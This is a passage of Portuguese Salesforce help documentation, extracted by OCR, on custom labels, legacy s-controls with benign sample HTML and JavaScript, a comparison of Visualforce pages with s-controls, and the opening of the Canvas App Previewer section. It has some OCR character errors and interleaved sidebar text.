O que sdo servicos de email?

Viséo geral do codigo do Apex
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Rotulos personalizados

Visdo geral dos rétulos personalizados

Rétulos personalizados sdo valores de texto personalizados que podem ser acessados pelas classes
do Apex, paginas do Visualforce ou componentes do Lightning. Os valores podem ser traduzidos
para qualquer idioma suportado pelo Salesforce. Os rétulos personalizados permitem que 0s
desenvolvedores criem aplicativos multilingles, apresentando informagdes automaticamente (por
exemplo, texto de ajuda ou mensagens de erro) no idioma de origem do usuario.

Vocé pode criar até 5.000 rétulos personalizados para sua organizacdo, e eles podem ter até 1.000
caracteres de extensdo. Rétulos personalizados de pacotes gerenciados ndo contam em relagdo a
esse limite.

Para acessar rétulos personalizados, em Configuracao, insira Rétulos personalizados na
caixa Busca rapida e selecione Rétulos personalizados. Nessa pagina, vocé pode:

e (riar um novo roétulo personalizado ou editar um existente.

e Verum rétulo personalizado existente. Na pagina de exibicdo, vocé pode criar ou editar uma
tradugdo em um idioma usado pela sua organizacao.

Para adicionar um rétulo personalizado ao seu aplicativo:
1. Crie o rétulo personalizado.
2. Traduza o valor do rétulo para os idiomas suportados pelo seu aplicativo.
3. Useordtulo.
® No Apex, use asintaxe System.Label.Label name.

e Em componentes do Visualforce e do Lightning, use a variavel global $Label.

4. Inclua o rétulo no seu aplicativo quando o empacotar para o AppExchange.

o Dica: Se um rétulo personalizado tiver tradugdes, serd necessario empacotar
explicitamente os idiomas individuais desejados para que essas traducdes sejam incluidas
no pacote.

CONSULTE TAMBEM:

Criando e editando rétulos personalizados
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢des
Developer, Professional,
Enterprise, Performance e
Unlimited

PERMISSOES DO

USUARIO

Criar, editar ou excluir
rétulos personalizados:

e "Personalizar aplicativo

"

Criar ou substituir uma

traducdo:
e “Gerenciar traducdo”
ou

“Ver Instalacdo e
Configuragdo” e ser
designado como
tradutor
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Criando e editando rétulos personalizados

Para criar ou editar um novo rétulo personalizado:

1.

Em Configuracdo, insira Rétulos personalizados nacaixa Busca rapida e
selecione Rétulos personalizados.

Cligue em Novo rétulo personalizado para criar um novo rétulo ou clique em Editar ao lado
do rétulo personalizado que deseja editar.

Na caixa de texto Descricdo breve, insira um termo facilmente reconhecivel para identificar
este rotulo personalizado. Esta descricao é usada em campos de mesclagem.

@ Nota: Vocé néo pode alterar o idioma de um rétulo personalizado existente.

Se vocé estiver criando um novo rétulo personalizado, na caixa de texto Nome, insira 0 nome
usado pelo rétulo. Este valor é usado no Apex e nas paginas do Visualforce para fazer referéncia
ao rétulo personalizado. Os nomes sé devem conter caracteres alfanuméricos, comecar por
uma letra, ndo conter espacos ou caracteres de sublinhado duplos e ser diferentes de todos os
outros rétulos da sua organizacao.

Marque a caixa de selecdo Componente protegido paramarcarorétulo personalizado
como protegido.

Na caixa de texto Categorias, insira texto para categorizar o rétulo. Este campo pode ser usado
em critérios de filtro ao criar modos de exibicao de lista de rétulos personalizados. Separe cada
categoria com uma virgula. O nimero total de caracteres permitidos na caixa de texto
Categorias é de 255.

Na caixa de texto Valor, insira texto com até 1.000 caracteres. Este valor pode ser traduzido
para qualquer idioma suportado pelo Salesforce.

@ Nota: Pode levar alguns minutos para que todos 0s usuarios vejam as alteracées feitas
neste campo.

Clique em Salvar.

CONSULTE TAMBEM:

Criando e editando traducdes de rétulos personalizados

Viséo geral dos rétulos personalizados
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edi¢des
Developer, Professional,
Enterprise, Performance e
Unlimited

PERMISSOES DO

USUARIO

Criar, editar ou excluir
rotulos personalizados:
e "Personalizar aplicativo”

Criar ou substituir uma

traducdo:
e "Gerenciar traducdo”
ou

“Ver Instalacdo e
Configuracdo” e ser
designado como
tradutor
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Criando e editando tradugdes de rétulos personalizados
Para criar ou editar rotulos personalizados:

1. Em Configuragdo, insira Rétulos personalizados nNacaixa Busca rapida e
selecione Rétulos personalizados.

2. Selecione 0 nome do rétulo personalizado para abrir o rétulo.

3. Nallista relacionada Traducdes, clique em Novo para inserir uma nova traducéo ou Editar
proximo ao idioma para alterar uma tradugéo. Se vocé clicar em Excluir, o Salesforce confirmara
se vocé deseja remover e depois removerd a traducao do rétulo personalizado.

4. Selecione 0 Tdioma para o qual vocé estd traduzindo.

5. Insirmo Texto de traducio. Este texto substituio valor especificado no campo valor
do rétulo quando um idioma padrao do usudrio é o idioma da tradugao.

6. Clique em Salvar.

CONSULTE TAMBEM:
Criando e editando rétulos personalizados

Visao geral dos rétulos personalizados
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EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Developer, Professional,
Enterprise, Performance e
Unlimited

PERMISSOES DO

USUARIO

Criar, editar ou excluir
rotulos personalizados:
e "Personalizar aplicativo”

Criar ou substituir uma

traducdo:
e "Gerenciar traducdo”
ou

“Ver Instalacdo e
Configuracdo” e ser
designado como
tradutor
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Vendo rétulos personalizados
Ap0s criar um rétulo personalizado, vocé pode:
e Editar o rotulo personalizado.
@ Nota: Vocé néo pode editar os atributos de rétulos personalizados instalados como

parte de um pacote gerenciado. Vocé sé pode substituir as tradugdes existentes ou
fornecer novas para idiomas ndo incluidos no pacote.

e Excluir um rétulo personalizado.

@ Nota: Vocé ndo pode excluir rétulos personalizados instalados como parte de um pacote
gerenciado, ou que sejam mencionados pelo Apex ou por uma pagina do Visualforce.
Vocé sé pode substituir as tradugdes existentes.

e (rie ou edite uma traducao.

CONSULTE TAMBEM:
Criando e editando rétulos personalizados

Viséo geral dos rétulos personalizados

S-controls personalizados

Definindo custom s-controls

@ Importante: As paginas do Visualforce substituem s-controls. As organizacées que ndo
usaram s-controls anteriormente nao podem crié-los. Os s-controls existentes ndo séo afetados
e ainda podem ser editados.

A biblioteca de s-controls personalizados é um local onde vocé pode armazenar e carregar o
conteldo a ser utilizado em vdrias dreas do Salesforce como, links personalizados, guias da Web,
botdes personalizados e painéis. Os s-controls permitem estender a interface do usudrio do Salesforce
de forma aberta e flexivel, permitindo inclusive que vocé crie e exiba seus proprios formularios de
dados personalizados.

Um s-control pode conter qualquer tipo de contelido que possa ser exibido ou executado em um
navegador. Por exemplo, um miniaplicativo Java, um controle Active-X, um arquivo do Excel ou
um formuldrio HTML personalizado da Web.

1. Em Configuracéo, insira S-Controls nacaixa Busca réapida e selecione S-Controls.
2. Para criar um s-control personalizado, clique em Novo s-control personalizado.

3. Para alterar um s-control existente, clique em Editar.

EDICOES

Disponivel em: Salesforce
Classic e Lightning
Experience

Disponivel em: Edicoes
Developer, Professional,
Enterprise, Performance e
Unlimited

PERMISSOES DO

USUARIO

Criar, editar ou excluir
rotulos personalizados:
e "Personalizar aplicativo”

Criar ou substituir uma

traducdo:
e "Gerenciar traducdo”
ou

“Ver Instalacdo e
Configuracdo” e ser
designado como
tradutor

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para criar, editar e excluir
custom s-controls:
e "Personalizar aplicativo”
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Insira os atributos de s-control.

Para validar todos os campos de mesclagem e funcdes do Salesforce, clique em Verificar sintaxe.

Clique em Salvar quando terminar ou clique em Gravagao rapida para salvar e continuar editando.

N o v &

Crie um link ou um botdo personalizado para exibir o custom s-control aos usuarios. Se preferir, crie uma guia da Web usando o
custom s-control e adicione o s-control a um layout de pagina ou adicione o s-controle para um painel. Vocé também pode usar
um s-control como contetido de ajuda online para um objeto personalizado.

CONSULTE TAMBEM:
Sobre s-controls
Exibindo e editando s-controls

S-Controls Uteis

Sobre s-controls

@ Importante: As paginas do Visualforce substituem s-controls. As organizagdes que néo

usaram s-controls anteriormente nao podem crié-los. Os s-controls existentes ndo séo afetados

e ainda podem ser editados. Disponivel em: Salesforce
Use s-controls para adicionar sua prépria funcionalidade na organizacao do Salesforce. Quer vocé Classic
esteja integrando um aplicativo préprio hospedado ou estendendo a atual interface do usuério do Disponivel em: Edicdes
Salesforce, use s-controls para salvar o codigo ou fazer referéncia a ele. Contact Manager, Group,

Professional, Enterprise,
Performance, Unlimited e
Developer

Os custom s-controls podem conter qualquer tipo de conteldo que vocé pode exibir em um
navegador, por exemplo, um miniaplicativo Java, um controle Active-X, um arquivo do Excel ou
um formuldrio personalizado da Web em HTML.

CONSULTE TAMBEM:
Definindo custom s-controls
S-Controls Uteis

Como as paginas do Visualforce se comparam aos s-controls?

Consideragdes sobre s-controls em pacotes Force.com AppExchange

Se vocé estiver desenvolvendo pacotes Force.com AppExchange com s-controls ou planejando instalar um pacote AppExchange com
s-controls, observe as seguintes limitacoes:

e Paraos pacotes que vocé estad desenvolvendo (isto é, ndo instalados a partir do AppExchange), é possivel adicionar apenas s-controls
aos pacotes com o acesso padréo Irrestrito daAPl Se o pacote tiver um s-control, vocé nao poderd ativar o acesso Restrito
da API.

e Para os pacotes ja instalados, vocé pode ativar as restricoes de acesso mesmo que eles tenham s-controls. Entretanto, as restri¢oes
de acesso apenas oferecem uma protecéo limitada aos s-controls. O Salesforce considera recomendavel ter conhecimento de
JavaScript sobre s-controls antes de contar com a restricdo de acesso para a seguranca de s-control.

e Seum pacote instalado tiver acesso Restrito da APl, as atualizagdes terdo sucesso somente se a versao atualizada nao tiver
nenhum s-control. Se houver s-controls na versao atualizada, serad necessario alterar o pacote instalado para 0 acesso Irrestrito
da API.
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Exibindo e editando s-controls

@ Importante: As paginas do Visualforce substituem s-controls. As organizagdes que néo
usaram s-controls anteriormente nao podem crié-los. Os s-controls existentes ndo séo afetados
e ainda podem ser editados.

EDICOES

Disponivel em: Salesforce

Para exibir os detalhes de um s-control personalizado, em Configuracéo, insira S-Controls na Classic

caixa Busca réapida. selecione S-Controls e selecione o nome do s-control. Disponivel em: EdicGes
Contact Manager, Group,
Professional, Enterprise,

Performance, Unlimited e

Developer

e Para fazer alteragbes em um s-control, clique em Editar.

e Pararemover um s-control, clique em Excluir.

e Para exibir uma lista de outros componentes do Salesforce que fazem referéncia ao s-control,
clique em Onde é usado(a)?.

PERMISSOES DO

USUARIO

Para criar, editar e excluir
custom s-controls:
e "Personalizar aplicativo”

Atributos de s-control personalizado

EDICOES

Nome do atributo Descri¢do

Rotulo O texto exibido nos layouts de pagina de s-controls incorporados. Disponivel em: Salesforce
) Classic
Nome do O nome exclusivo do s-control. Esse nome pode conter somente
S-Control sublinhados e caracteres alfanuméricos, e deve ser exclusivo na sua Disponivel em: Edicdes
organizacdo. Deve comecar com uma letra, ndo incluir espagos, nao Contact Manager, Group,
terminar com sublinhado e n&o conter dois sublinhados consecutivos. Professional, Enterprise,
Performance, Unlimited e
Tipo Determina como vocé planeja usar o s-control. Developer
HTML
Selecione esta opcao se quiser inserir o conteldo do s-control na drea
Contetdo.
URL
Selecione esta opcao se quiser inserir o link ou 0 URL de um site externo
nadrea Conteudo.
Snippet
Snippets sao s-controls criados para serem incluidos em outros
s-controls. Selecione esta op¢ao se quiser inserir o contetido do snippet
do s-control na drea Contetdo.
Descricéo 0 texto que descreve o s-control. E exibido apenas para administradores.
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Nome do atributo Descri¢do

Contetdo Insira 0 conteudo ou a origem do s-control. Vocé pode inserir até 1 milhao de caracteres. O cédigo
HTML define exatamente como os usudrios devem ver o custom s-control.

e Sevocé estiver criando uma formula na guia Férmula avancada, seja para aprovagdes ou regras,
como fluxo de trabalho, validacao, atribuicao, resposta automatica ou escalacao, clique em Inserir
campo, escolha um campo e clique em Inserir.

Para criar uma férmula basica que aprove dados do Salesforce especificos, selecione a guia Formula
simples, escolhaotipo de arquivo nalistasuspensa Selecionar tipo de campo eescolha
um dos campos relacionados na lista suspensa Inserir campo.

O Dica: Crieférmulas de objetos cruzados para ocupar objetos relacionados e fazer referéncia
a campos de mesclagem nesses objetos.

e Parainserir um operador, escolha o icone de operador apropriado na lista suspensa Inserir
operador.

e Parainseriruma funcao, clique duas vezes em seu nome na lista ou selecione-a e clique em Inserir
funcao selecionada. Para filtrar a lista de funces, escolha uma categoria na lista suspensa
Funcdes. Selecione uma fungdo e clique em Ajuda sobre esta funcéo para exibir uma descri¢do
e exemplos de férmulas usando essa funcéo.

e Para consultar um arquivo carregado no campo Nome do arquivo como parte do custom
s-control, selecione Custom S-Control na lista suspensa Selecionar o tipo de campo
e escolha URL do Custom S-Control para obter o campo de mesclagem para ele. Para um
miniaplicativo Java, também é possivel utilizar os campos de mesclagem
{!Scontrol JavaCodebase} € {!Scontrol JavaArchive}

e Parainserir campos de mesclagem de atividade, selecione Evento ou Tarefa em
Selecionar tipo de campo.

O Dica: Os padrdes de Internet exigem codificacdo especial para URLs. O Salesforce codifica
automaticamente o texto de qualquer campo de mesclagem inserido em um link. Codifique
um texto adicional em seu link manualmente. Por exemplo, para gerar o sequinte URL:

http://www.google.com/search?g={!user.name} Steve Mark 50%
Use este conteudo:
http://www.google.com/search?g={!user.name}+Steve+Mark+50%25

O Salesforce remove automaticamente as aspas duplas de URLs quandoa Origem do
conteudo é URL. Se vocé precisar usar aspas duplas, codifique-as manualmente. Por exemplo,
para gerar o URL
http://www.google.com/search?g="salesforce+foundation", useeste
conteudo:

http://www.google.com/search?gq=%22salesforce+foundation%22.

Nome do arquivo Carregue um arquivo para ser exibido quando vocé adicionar esse custom s-control a um link
personalizado. O arquivo pode conter um miniaplicativo Java, um controle Active-X ou qualquer outro
tipo de conteldo desejado. Essa op¢do s6 se aplica a s-controls HTML.

Pré-criar na pagina Essaopcdo mantém o s-control na memoria, o que poderd melhorar o desempenho quando a pagina
for recarregada, pois o s-control ndo tem de ser recarregado. Essa opcao s6 se aplica a s-controls HTML.
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Nome do atributo Descrigcéio
Codificacao A configuracéo de codificacdo padrdo é Unicode (UTF-8). Altere-a se estiver passando informacées para
um URL que requer dados em um formato diferente. Essa opcao esté disponivel quando vocé seleciona
URL parao Tipo.
CONSULTE TAMBEM:

Sobre s-controls
S-Controls Uteis

Dicas de criacdo de s-controls

Excluindo custom s-controls

@ Importante: As paginas do Visualforce substituem s-controls. As organizacdes que néo
usaram s-controls anteriormente nao podem crié-los. Os s-controls existentes ndo séo afetados
e ainda podem ser editados.

Para excluir um custom s-control:

1. Primeiro, garanta que o s-control ndo seja usado por outros componentes: em Configuracao,
insira S-Controls nacaixa Busca rapida,selecioneS-Controls, selecione o s-control
e clique em Onde isso é usado?.

2. (lique em S-Controls novamente.
3. Clique em Excluir ao lado do custom s-control a ser excluido.

4. C(ligue em OK para confirmar.

@ Nota: Vocé néo pode excluir um custom s-control usado em outro lugar do Salesforce. Os
s-controls excluidos ndo vao para a Lixeira.

EDICOES

Disponivel em: Salesforce
Classic

Disponivel em: Edicdes
Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

PERMISSOES DO

USUARIO

Para criar, editar e excluir
custom s-controls:

e "Personalizar aplicativo”
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Dicas de criacdo de s-controls

@ Importante: As paginas do Visualforce substituem s-controls. As organizagdes que néo EDICOES
usaram s-controls anteriormente nao podem crié-los. Os s-controls existentes ndo séo afetados
e ainda podem ser editados. Disponivel em: Salesforce
Use as dicas a seguir ao criar s-controls: Classic
Ao criar um s-control de URL, ndo selecione Mostrar cabecalho da secdo na pagina de Disponivel em: Edi¢oes
detalhes na secdo de layout de pdgina onde o s-control serd colocado. Essa opcao, em conjunto Contact Manager, Group,
com secdes recolhiveis, pode causar alguns problemas em determinados navegadores. Professional, Ente.rpl:lse,
o . . Performance, Unlimited e
e Use varidveis globais para acessar campos de mesclagem especiais para componentes, Como Developer

botdes, links e s-controls personalizados. Por exemplo, a varidvel global SRequest permite

acessar parametros de consulta dentro de um snippet, s-control ou botao personalizado. -
PERMISSOES DO

e Useocampode mesclagem {!$Organization.UISkin} no s-control pararecuperar
o tema da interface do usudrio que a organizacao selecionou. O valor Temal desse campo de
mesclagem representa o tema Salesforce Classic, e Tema2 representa o tema Salesforce.

USUARIO

Para criar, editar e excluir
e S-Controls usam os caracteres {! e } (usados anteriormente para delimitar campos de mesclagem custom s-controls:

em férmulas) para delimitar uma expresséo, que pode incluir um ou mais campos de mesclagem, o "Personalizar aplicativo”
funcdes ou varidveis globais.

e Ao sobrescrever uma agdo, Use 0 argumento no override para evitar uma recursao,
indicada por estruturas vazias na pagina.

e Parainserir campos de mesclagem de atividade, selecione Evento ou Tarefa em Selecionar tipo de campo.

CONSULTE TAMBEM:
Atributos de s-control personalizado

Definindo custom s-controls
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S-Controls Uteis

@ Importante: As paginas do Visualforce substituem s-controls. As organizacées que ndo
usaram s-controls anteriormente nao podem crié-los. Os s-controls existentes ndo séo afetados
e ainda podem ser editados. Disponivel em: Salesforce
Classic

Use as seguintes amostras para comegar a usar s-controls.
Disponivel em: Edicoes
S-Controls para paginas de detalhes Contact Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Yahoo Map Developer

Use a APl do Yahoo Map e os campos de mesclagem de endereco de cobranga para exibir um
mapa referente a uma conta. Use o codigo a seguir em um s-control de HTML e adicione-o0 ao ED|COE5
layout da pagina de detalhes da conta:

Disponivel em: Salesforce
Classic

Botdes e links
personalizados estdo
disponiveis em: todas as
edicoes

S-controls est@o disponiveis
em: Edicoes Contact
Manager, Group,
Professional, Enterprise,
Performance, Unlimited e
Developer

A substituicdo de botdes
padrdo e paginas iniciais
com guias estd disponivel
em: Edicoes Enterprise,
Performance, Unlimited e
Developer

<html>

<head>

<script type="text/javascript"
src="http://api.maps.yahoo.com/ajaxymap?v=3.0&appid=YahooDemo">
</script>

<style type="text/css">
#mapContainer {

height: 200px;

width: 100%;

}

</style>

</head>

<body>

<div id="mapContainer"></div>
<script type="text/javascript">
// Create a map object
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var map = new YMap (document.getElementById ('mapContainer'));

// Display the map centered on given address

map.drawZoomAndCenter ("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState},\
{!Account.BillingPostalCode}", 3);

// Set marker at that address

map.addMarker ("{!Account.BillingStreet}, \
{!Account.BillingCity},\
{!Account.BillingState}, \
{!Account.BillingPostalCode}", 3);

</script>

</body>

</html>

S-Controls que substituem botdes padrdo e paginas iniciais com guias

Adicionar substituicdo de produto

Vocé talvez tenha seu préprio cédigo que prefere usar para adicionar produtos a oportunidades em vez da pdgina padrdo. Use a amostra
de s-control abaixo para passar valores de dados usando os campos de mesclagem, de uma péagina de detalhes de registro para um
s-control personalizado, que substitui o botdo Adicionar produto na lista relacionada Produtos de uma oportunidade. Esse tipo de
substituicao mostra como os botdes de lista relacionada podem conter campos de mesclagem de um objeto mestre além do detalhe.
Por exemplo, o codigo abaixo contém campos de mesclagem de oportunidade, que estd no lado mestre de um relacionamento entre
mestre e detalhes com produtos da oportunidade.

<html>

<head>

<script type="text/javascript"
src="/soap/ajax/13.0/connection.js">
</script>

</head>

<body>

<b>Opportunity Info:</b>

<br>

Opportunity ID: {!Opportunity.Id}
<br>

Opportunity Name: {!Opportunity.Name}
<br>

Opportunity Record Type: {!Opportunity.RecordType}
<br>

</body>

</html>

Para implementar essa funcionalidade, crie um s-control HTML com o conteldo acima, inserindo o cédigo no espaco fornecido. Em
seguida, substitua a acdo de adicao de produto no objeto de produtos da oportunidade usando o s-control. Este exemplo pressupde o
uso de tipos de registro em oportunidades.

Nota: Este exemplo ndo inclui o codigo para adicionar produtos. O contelido na secao de corpo apenas ilustra como usar campos
de mesclagem de oportunidade na lista relacionada de produtos de oportunidade. Substitua a se¢do de corpo com seu codigo.
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Substituicao condicional para edicao de leads

Vocé pode substituir uma acdo padréo condicionalmente, redirecionando para uma acéo padrdo ou s-control personalizado dependendo
de certas condicoes. Por exemplo, vocé pode usar um s-control separado para editar leads que estiveram em aberto por mais de 30 dias.
Usando o exemplo a sequir, crie um s-control para avaliar se um lead estd em aberto hd mais de 30 dias e, em caso positivo, executar o
s-control personalizado para edita-lo. Caso contrario, use a acao padrao de editar lead.

<script type="text/javascript">

//determine if the lead has been open longer than 30 days
if ({!IF(ISPICKVAL( Lead.Status , "Open"), ROUND(NOW()- Lead.CreatedDate , 0), 0)} > 30)

{
//more than 30 days - display a custom scontrol page
window.location.href="{!URLFOR ($SControl.EditLeadsOpenLongerThan30)}";

}

else

{

//30 days or less - display the standard edit page
window.parent.location.href="{!URLFOR ($Action.Lead.Edit, Lead.Id,
[retURL=URLFOR ($Action.Lead.View, Lead.Id)], true)}";

}

</script>

Para implementar isso na organizacéo, crie o s-control que deseja usar para editar leads que estiveram em aberto por mais de 30 dias.
Dé ao s-control 0 nome de EditLeadsOpenlLongerThan30. Em seguida, crie um s-control usando o cédigo de exemplo acima para
determinar se um lead esta em aberto ha mais de 30 dias e, em caso positivo, substituir a acdo de edicao de leads usando o s-control
EditLeadsOpenLongerThan30.

Observe as diferencas entre a primeira e a segunda instrucdo i £ no exemplo acima. A primeira é uma instru¢do i f de JavaScript
executada no navegador. A segunda é a fun¢do IF do Salesforce executada no servidor, que retorna um Unico valor: o nimero de dias
que o lead estd em aberto, ou zero caso o lead nao esteja aberto.

O Dica: Use afuncao URLFOR neste exemplo para criar URLs do Salesforce em vez de especificar URLs especificos, garantindo que
funcionem em diferentes versoes.

Para exibir uma pagina padrao do Salesforce sem chamar a substituicdo, defina o argumento no override nafungao URLFOR
como "true".

Use também o parametro retURL na fun¢ao URLFOR para retornar o usuario a pagina de detalhes apés salvar.

Substituicao de edicdo de contatos

Vocé talvez tenha seu préprio codigo que prefere usar para editar contatos. Use a amostra de s-control abaixo para passar valores de
dados usando campos de mesclagem, de uma pagina de detalhes de registro para um s-control personalizado, que substitui um botdo
padrao de pagina de detalhes.

<html>

<head>

<script type="text/javascript" src="/soap/ajax/13.0/connection.js">
</script>

</head>

<body>

<b>Contact Info:</b>

<br>
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Contact ID: {!Contact.Id}

<br>

Contact Name: {!Contact.FirstName} {!Contact.LastName}
<br>

</body>

</html>

Paraimplementar essa funcionalidade, crie um s-control HTML com o contetido acima, inserindo o c6digo na secdo de corpo. Em seguida,
substitua a acdo de edicdo de contato usando o s-control. Dessa forma, a acdo de edicdo de contato é substituida em qualquer lugar
em que esteja disponivel: o botdo Editar na pagina de detalhes de um contato, o link Editar em exibicées de lista e o link Editar em
listas relacionadas.

@ Nota: Este exemplo ndo inclui o cédigo para editar contatos. O c6digo na se¢ao de corpo apenas ilustra como usar campos de
mesclagem de contato para exibir informacdes sobre o contato. Substitua a se¢ao de corpo com seu cédigo.

Substituicao de interrupcao para novas contas

A substituicdo de botbes padréao faz com que eles fiqguem indisponiveis em toda a organizagdo do Salesforce. No entanto, é possivel
substituir uma acao padrédo e redirecionar do s-control para ela sem entrar em um loop infinito. Por exemplo, vocé pode substituir o
botdo Novo nas contas, realizar seu préprio processo personalizado e retomar a acao padrao de nova conta sem entrar em um loop
infinito. Para isso, use o0 argumento no override nafungdo URLFOR.

<script type="text/javascript">

alert ("Hi, I am demonstrating how to interrupt New Account with an override. Click OK to
continue.");

window.parent.location.href="{! URLFOR($SAction.Account.New, null, null, true)}";

</script>

Para implementar esse s-control, crie um s-control HTML com o conteldo acima. Em seguida, substitua a acao de nova conta usando
o s-control.

@ Notfa: A nova acéo nao exige um ID, motivo pelo qual o segundo argumento na fun¢ao URLFOR é nul1. Esse exemplo ndo
exige entradas, motivo pelo qual o terceiro argumento na funcado URLFOR é nul1. O quarto argumento na funcado URLFOR é
definido como true paraignorar a substituicdo, evitando um loop infinito.

Substituicao condicional de pagina inicial de contas com guias

E possivel substituir uma pagina inicial com guias condicionalmente, redirecionando a pagina original para um s-control dependendo
de algumas condicdes. Por exemplo, é possivel exibir um s-control, em vez da pagina inicial com guias padrdo Contas, para usuarios
com um perfil especifico. Usando a amostra de cédigo abaixo, crie um s-control para exibir informagées sobre candidatos a emprego
a0s usuarios com o perfil Recrutador quando eles clicarem na guia Contas. Para os demais usudrios, exibir a pagina inicial com guias.

Para implementar isso, primeiro crie um s-control chamado "ApplicantHomePage" com o conteldo a ser exibido aos recrutadores. Em
seguida, crie um s-control do tipo HTML usando o seguinte cédigo para implementar a l6gica de substituicao condicional:

<script type="text/javascript">
//determine the user profile name
var recruiter = {!IF($Profile.Name = "Recruiter", true, false)};

//when the profile is recruiter - display a custom s-control page
if (recruiter) {
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window.parent.location.href="{! urlFor ($SControl.ApplicantHomePage) }";
} else {
//when the profile is not recruiter - display the standard Accounts tab page
window.parent.location.href="{! urlFor( $Action.Account.Tab ,
$ObjectType.Account,null, true)}";

}
</script>

Por fim, substitua a guia Contas para usar o s-control HTML mostrado aqui. Esse exemplo pressupbe que exista um perfil "Recrutador”
na organizagao.

@ Nota: Campos de mesclagem $Profile estdo disponiveis apenas nas edi¢des Enterprise, Unlimited, Performance e Developer.

S-Controls que incluem snippets

Inclusdo de snippets

Inclua snippets em s-controls personalizados para reutilizar o cédigo comum. O exemplo a sequir faz referéncia a um snippet que fornece
um cabecalho para uma pagina exibida em uma guia da Web. O titulo da pagina é "Meu titulo". Use a varidvel global $SControl para
fazer referéncia a um snippet. Para implementar isso, crie dois snippets, chamados "Resize_Iframe_head" e "Resize_|frame_onload", e
crie um s-control HTML chamado "Resize_Iframe_sample" que inclui o seguinte cédigo:

<html> <body> {! INCLUDE ($SControl.Header Snippet, [title = "My Title",
theme = "modern"])} </body> </html>

Campos de mesclagem para s-controls

@ Importante: As paginas do Visualforce substituem s-controls. As organizagdes que néo

usaram s-controls anteriormente nao podem cria-los. Os s-controls existentes n&o sdo afetados

e ainda podem ser editados. Disponivel em: Salesforce
Um campo de mesclagem é aquele que vocé pode colocar em um modelo de email, modelo de Classic
mesclagem de correio, link personalizado ou férmula para incorporar valores de um registro. Disponivel em: Edicdes
Como os s-controls sao a origem do contetido da ajuda de nivel de objeto, vocé pode usar campos Contact Manager, Group,

Professional, Enterprise,
Performance, Unlimited e
Developer

de mesclagem ou outras fun¢des para personalizar a experiéncia. Por exemplo, vocé pode criar a
ajuda personalizada para se comunicar diretamente com o usudrio incluindo o nome do usuério a
pagina da ajuda quando ela for exibida.

Dicas

e Paraconsultarum arquivo carregadono campo Nome do arquivo como parte do s-control personalizado, selecione S-control
personalizado na lista suspensa Selecionar o tipo de campo e escolha URL do s-control personalizado para obter o campo de
mesclagem para ele. Para um miniaplicativo Java, também é possivel utilizar os campos de mesclagem

{!SControl JavaCodebase} e {!SControl JavaArchive}

e Parainserircampos de mesclagem de atividade, selecione Evento ou Tarefa na lista suspensa Selecionar tipo de campo. O Salesforce
codifica automaticamente o texto de qualquer campo de mesclagem que vocé inserir em um link.

CONSULTE TAMBEM:

Definindo custom s-controls
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Como as pdaginas do Visualforce se comparam aos s-controls?

@ Importante: As paginas do Visualforce substituem s-controls. As organizacdes que ndo usaram s-controls anteriormente néo
podem crid-los. Os s-controls existentes n&o sao afetados e ainda podem ser editados.

As paginas do Visualforce sdo consideradas a préxima geracao dos s-controls e devem ser usadas no lugar destes sempre que possivel,
tanto pelo melhor desempenho quanto pela facilidade de uso com a qual elas podem ser escritas. A tabela a sequir define as diferencas
entre as paginas do Visualforce e os s-controls.

Habilidades técnicas necessarias
Estilo de linguagem

Modelo de substituicao de pagina
Biblioteca de componentes padrao do

Salesforce

Acesso ao comportamento da
plataforma incorporada

Data binding (ligacao de dados)

Heranca de folha de estilo

Respeito pelos metadados do campo,
como exclusividade

Interacao com o Apex

Desempenho

Paginas do Visualforce
HTML, XML
Marcacao de marcas

Padrdo de montagem e componentes
personalizados usando marcas

Si

m

Sim, por meio do controlador padréo

Sim

Os desenvolvedores podem ligar um
componente de entrada (como caixa de
texto) a um determinado campo (como
Nome da conta). Se 0 usuario gravar um
valor nesse componente de entrada, ele
também serd salvo no banco de dados.

Sim

Sim, por padrao

Se 0 usudrio tentar gravar um registro que
viole a exclusividade ou a obrigatoriedade
de atributos do campo, sera exibida
automaticamente uma mensagem de erro
e 0 usuario podera tentar novamente.

Direta, ao ligar-se a um controlador
personalizado

Mais responsivo, pois a marcacao é gerada
na plataforma do Force.com

S-Controls
HTML, JavaScript, Ajax Toolkit
Cdédigo procedural

Gravar HTML e JavaScript para a pagina
inteira

Nao

Nao

Nao

Os desenvolvedores ndo poderao ligar um
componente de entrada com um campo
particular. Em vez disso, é preciso gravar o
codigo JavaScript que usa a APl para
atualizar o banco de dados com os valores
de campo especificados pelo usuario.

N&o, é preciso pegar manualmente as folhas
de estilo do Salesforce

Sim, se codificado no JavaScript usando uma
chamada describe da API

Se 0 usuario tentar gravar um registro que
viole a exclusividade ou a obrigatoriedade
de atributos do campo, s6 serd exibida uma
mensagem de erro se o desenvolvedor do
s-control tiver escrito um cédigo que
verifique esses atributos

Indireta, usando os métodos do
webService do Apex por meio da API

Menos responsivo, pois todas as chamadas
para o APl exigem uma viagem de ida e
volta para o servidor — e fica a cargo do
desenvolvedor ajustar o desempenho
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Paginas do Visualforce

Contéiner da pagina Nativo

CONSULTE TAMBEM:
Sobre s-controls

Visualforce

Integracao de aplicativos com o Salesforce

Visdo geral do visualizador de aplicativo de tela

0 Visualizador de aplicativo de tela é uma ferramenta de desenvolvimento que permite ver como
0s aplicativos de tela ficardo antes de publica-los. Para ver seu aplicativo de tela:

1. EmConfiguracdo,insira Visualizador de aplicativo de telanacaixa Busca
rapida e selecione Visualizador de aplicativo de tela.

2. (lique no aplicativo de tela no painel esquerdo. Ele ird aparecer na estrutura.

Para obter mais informagdes, consulte o Force.com Canvas Developer's Guide (Guia do Desenvolvedor
do Force.com Canvas).

Inicio rapido do Heroku

O botao Inicio rapido do Heroku permite que vocé comece criando um aplicativo no Heroku e um
aplicativo de tela correspondente no Salesforce. Os campos de Inicio rapido do Heroku incluem o
seguinte:

Campo Descri¢do

Modelo do Heroku usado para criar o aplicativo
no Heroku.

Modelo

Nome do aplicativo de tela. O comprimento
maximo é de 30 caracteres.

Nome do aplicativo de tela

Nome do aplicativo do Heroku. O nome deve
comegar com uma letra e somente pode conter
